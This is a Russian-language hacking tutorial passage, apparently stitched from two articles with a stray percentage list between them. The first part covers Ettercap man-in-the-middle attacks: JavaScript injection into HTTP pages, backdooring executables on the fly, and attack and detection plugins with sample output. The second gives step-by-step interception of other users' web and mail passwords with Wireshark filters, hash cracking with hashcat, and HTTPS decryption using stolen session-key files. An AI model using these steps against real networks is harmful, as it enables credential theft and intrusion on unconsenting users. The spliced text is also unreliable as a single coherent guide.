    Это можно сделать, например, созданием нового правила, Request header меняем на Response body. В самом HTML коде должна происходить замена

    Отлично, при открытии любого сайта, который без HTTPS, в HTML код вставляется JavaScript код, который позволяет через подцепленный браузер собирать информацию и производить разнообразные атаки:

    6. Заражение бэкдорами

    Подменять и заражать исполнимые файлы можно как с помощью фильтров Ettercap [которые по какой-то причине уже давно не работают], так и с помощью сторонних приложений. Например, на лету это умеет делать BDFProxy . К сожалению, BDFProxy до сих пор не может оправиться от апрельского (в 2016 году) обновления Backdoor Factory : в Python пакет libmproxy был переименован в mitmproxy. Для BDFProxy пакет libmproxy является необходимой зависимостью, без этого пакета программа не запускается. Поэтому теперь, до «ремонта» BDFProxy, использовать её не получается, ведь даже при установленном Backdoor Factory, программа BDFProxy жалуется на отсутствие библиотеки libmproxy…

    Аналогичную операцию можно проделать и с Burp Suite. Пошаговый алгоритм представлен , не имеет смысла ещё раз его переписывать в этот раздел.

    7. Использование плагинов Ettercap

    Информацию о плагинах Ettercap можно найти . Плагинов довольно много, мне самыми интересными кажутся те, которые описаны ниже.

    Плагины можно подключить при запуске Ettercap, для этого имеется опция:

    P, --plugin запустить этот

    Также плагины можно загрузить из графического интерфейса:

    [МАТЕРИАЛ В ПРОЦЕССЕ ПОДГОТОВКИ]

    7.1 arp_cop

    Он сообщает о подозрительной ARP активности пассивным мониторингом ARP запросов/ответов. Он может сообщать о попытках травления ARP или простых IP-конфликтах или IP-изменений. Если вы строите первоначальный список хостов, то плагин будет работать более точно.

    Ettercap -TQP arp_cop //

    Пример реального выявления ARP спуфинга:

    Развернуть

    Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20530 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>

    Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20530 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 3 hosts added to the hosts list... Starting Unified sniffing... Text only Interface activated... Hit "h" for inline help Activating arp_cop plugin... arp_cop: plugin running... arp_cop: (new host) 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 ...........................

    7.2 autoadd

    Он будет автоматически добавлять новых жертв по мере их подключения к ARP травлению атаки mitm. Он ищет ARP запросы в локальной сети, и при выявлении плагин добавит хост к списку жертв, если список был указан как ЦЕЛЬ. Хост добавляется когда от него виден arp запрос.

    7.3 chk_poison

    Он выполняет проверку - успешны ли модули arp травления в ettercap. Он отправляет спуфленные ICMP эхо пакеты всем жертвам травления притворяясь каждой жертвой. Он может поймать ICMP ответ с нашим MAC адресом как пунктом назначения, это означает, что травление между этими двумя целями успешно. Он проверяет оба пути каждого соединения.

    7.4 dns_spoof

    Этот плагин прерывает DNS запросы и отвечает спуфленным (поддельным) ответом. Вы можете выбрать для какого адреса плагин должен ответить редактированием файла etter.dns. Плагин перехватывает A, AAAA, PTR, MX, WINS, SRV и TXT запросы. Если это был A запрос, то имя ищется в файле и возвращается IP адрес (вы можете использовать групповые символы в имени).

    Это же применяется и к AAAA запросам.

    7.5 find_conn

    Очень простой плагин, который прослушивает ARP запросы для показа вам всех целей, с которыми хост хочет общаться. Он также может вам помочь в поисках адресов в неизвестных LAN.

    Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

    7.6 find_ettercap

    Пытается идентифицировать пакеты ettercap отправленные в LAN. Он может быть полезным для выявления чьих-то попыток использовать ettercap. Не полагайтесь на него на 100%, поскольку тесты срабатывают только на конкретные последовательности/идентификационные числа.

    7.7 scan_poisoner

    Проверят, травит ли кто-нибудь между какими-либо хостами в списке и нами. Для начала он проверяет, имеют ли два хоста в списке одинаковый mac адрес. Это может означать, что один из них травит нас притворяясь другим. Он может сгенерировать много ложных срабатываний в прокси-arp окружении. Вы должны построить список хостов для выполнения этой проверки. После этого он отправляет icmp эхо пакеты каждому хосту в списке и проверяет, отличается ли mac адрес источника ответа адреса, который мы сохранили в списке с этим IP. Это может означать, что кто-то травит этот хост претворяясь, что имеет наш IP адрес и перенаправляет перехваченный пакеты нам. Вы не можете выполнить этот активный тест в unoffensive (безобидном) режиме.

    Ettercap -TQP scan_poisoner //

    7.8 search_promisc

    Он пытается найти, сниффит (прослушивает) ли кто-нибудь в неразборчивом режиме. Он отправляет два разных плохо сформированных arp запроса каждой цели в списке хостов и ждёт ответов. Если ответ пришёл от целевого хоста, это более или менее вероятно, что эта цель имеет сетевую карту в неразборчивом режиме. Он может генерировать ложные тревоги. Вы можете запустить его как из командной строки или из меню плагинов. Поскольку он прослушивает arp ответы, будет лучше, если вы не будете использовать их во время отправки arp запросов.

    Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

    Пример удачного угадывания двух сетевых карт, находящихся в неразборчивом режиме:

    Развернуть

    Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00:27ff:feaf:30b9/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>

    Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00:27ff:feaf:30b9/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 5 hosts added to the hosts list... Starting Unified sniffing... Text only Interface activated... Hit "h" for inline help Activating search_promisc plugin... search_promisc: Searching promisc NICs... Less probably sniffing NICs: - 192.168.1.36 - 192.168.1.34 Most probably sniffing NICs: - NONE Closing text interface... Terminating ettercap... Lua cleanup complete! Unified sniffing was stopped.

    7.9 sslstrip

    Во время выполнения SSL mitm атаки, ettercap подменяет реальный ssl сертификат на свой собственный. Фальшивый сертификат создаётся на лету и все поля заполнены в соответствии с представленным сервером реальным сертификатом.

  • (62%)
  • (56.5%)
  • (RANDOM - 0.2%)
  • Многие пользователи и не догадываются, что заполняя логин и пароль при регистрации или авторизации на закрытом Интернет-ресурсе и нажимая ENTER, эти данные легко могут перехватить. Очень часто они передаются по сети не в защищенном виде. Поэтому если сайт, на котором вы пытаетесь авторизоваться, использует HTTP протокол, то очень просто выполнить захват этого трафика, проанализировать его с помощью Wireshark и далее с помощью специальных фильтров и программ найти и расшифровать пароль.

    Лучшее место для перехвата паролей - ядро сети, где ходит трафик всех пользователей к закрытым ресурсам (например, почта) или перед маршрутизатором для выхода в Интернет, при регистрациях на внешних ресурсах. Настраиваем зеркало и мы готовы почувствовать себя хакером.

    Шаг 1. Устанавливаем и запускаем Wireshark для захвата трафика

    Иногда для этого достаточно выбрать только интерфейс, через который мы планируем захват трафика, и нажать кнопку Start. В нашем случае делаем захват по беспроводной сети.

    Захват трафика начался.

    Шаг 2. Фильтрация захваченного POST трафика

    Открываем браузер и пытаемся авторизоваться на каком-либо ресурсе с помощью логина и пароля. По завершению процесса авторизации и открытия сайта мы останавливаем захват трафика в Wireshark. Далее открываем анализатор протоколов и видим большое количество пакетов. Именно на этом этапе большинство ИТ-специалистов сдаются, так как не знают, что делать дальше. Но мы знаем и нас интересуют конкретные пакеты, которые содержат POST данные, которые формируются на нашей локальной машине при заполнении формы на экране и отправляются на удаленные сервер при нажатии кнопки «Вход» или «Авторизация» в браузере.

    Вводим в окне специальный фильтр для отображения захваченных пакетов: http. request. method == “ POST”

    И видим вместо тысячи пакетов, всего один с искомыми нами данными.

    Шаг 3. Находим логин и пароль пользователя

    Быстрый клик правой кнопки мыши и выбираем из меню пункт Follow TCP Steam


    После этого в новом окне появится текст, который в коде восстанавливает содержимое страницы. Найдем поля «password» и «user», которые соответствуют паролю и имени пользователя. В некоторых случаях оба поля будут легко читаемы и даже не зашифрованы, но если мы пытаемся захватить трафик при обращении к очень известным ресурсам типа: Mail.ru, Facebook, Вконтакте и т.д., то пароль будет закодирован:

    HTTP/1.1 302 Found

    Server: Apache/2.2.15 (CentOS)

    X-Powered-By: PHP/5.3.3

    P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

    Set-Cookie: password=; expires=Thu, 07-Nov-2024 23:52:21 GMT; path=/

    Location: loggedin.php

    Content-Length: 0

    Connection: close

    Content-Type: text/html; charset=UTF-8

    Таким образом, в нашем случае:

    Имя пользователя: networkguru

    Пароль:

    Шаг 4. Определение типа кодирования для расшифровки пароля

    Заходим, например, на сайт http://www.onlinehashcrack.com/hash-identification.php#res и вводим наш пароль в окно для идентификации. Мне выдан был список протоколов кодирования в порядке приоритета:

    Шаг 5. Расшифровка пароля пользователя

    На данном этапе можем воспользоваться утилитой hashcat:

    ~# hashcat -m 0 -a 0 /root/wireshark-hash.lf /root/rockyou.txt

    На выходе мы получили расшифрованным пароль: simplepassword

    Таким образом, с помощью Wireshark мы можем не только решать проблемы в работе приложений и сервисов, но и также попробовать себя в роли хакера, осуществляя перехват паролей, которые пользователи вводят в веб-формах. Также можно узнавать и пароли к почтовым ящикам пользователей, используя незатейливые фильтры для отображения:

    • Протокол POP и фильтр выглядит следующим образом: pop.request.command == "USER" || pop.request.command == "PASS"
    • Протокол IMAP и фильтр будет: imap.request contains "login"
    • Протокол SMTP и потребуется ввод следующего фильтра: smtp.req.command == "AUTH"

    и более серьезные утилиты для расшифровки протокола кодирования.

    Шаг 6. Что делать, если трафик зашифрован и используется HTTPS?

    Для ответа на этот вопрос есть несколько вариантов.

    Вариант 1. Подключиться в разрыв соединения между пользователем и сервером и захватить трафик в момент установления соединения (SSL Handshake). В момент установки соединения можно перехватить сеансовый ключ.

    Вариант 2. Вы можете расшифровать трафик HTTPS, используя файл журнала сеансовых ключей, записываемый Firefox или Chrome. Для этого браузер должен быть настроен на запись этих ключей шифрования в файл журнала (пример на базе FireFox), и вы должны получить этот файл журнала. По сути, необходимо похитить файл с ключом сессии с жесткого диска другого пользователя (что является незаконным). Ну а далее захватить трафик и применить полученный ключ для его расшифровки.

    Уточнение. Мы говорим о веб-браузере человека, у которого пытаются украсть пароль. Если же мы подразумеваем расшифровку нашего собственного HTTPS трафика и хотим потренироваться, то эта стратегия будет работать. Если вы пытаетесь расшифровать HTTPS трафик других пользователей без доступа к их компьютерам, это не сработает - на то оно и шифрование, и личное пространство.

    После получения ключей по варианту 1 или 2 необходимо прописать их в WireShark:

  • Идем в меню Edit - Preferences - Protocols - SSL.
  • Ставим флаг «Reassemble SSL records spanning multiple TCP segments».
  • «RSA keys list» и нажимаем Edit.
  • Вводим данные во все поля и прописываем путь в файлу с ключом